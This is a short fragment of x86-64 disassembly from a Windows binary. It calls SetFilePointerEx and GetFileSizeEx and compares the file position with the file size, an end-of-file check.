call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140018da8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140018da8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140018daa
xor al, al
add rsp, 0x20
pop rbx
ret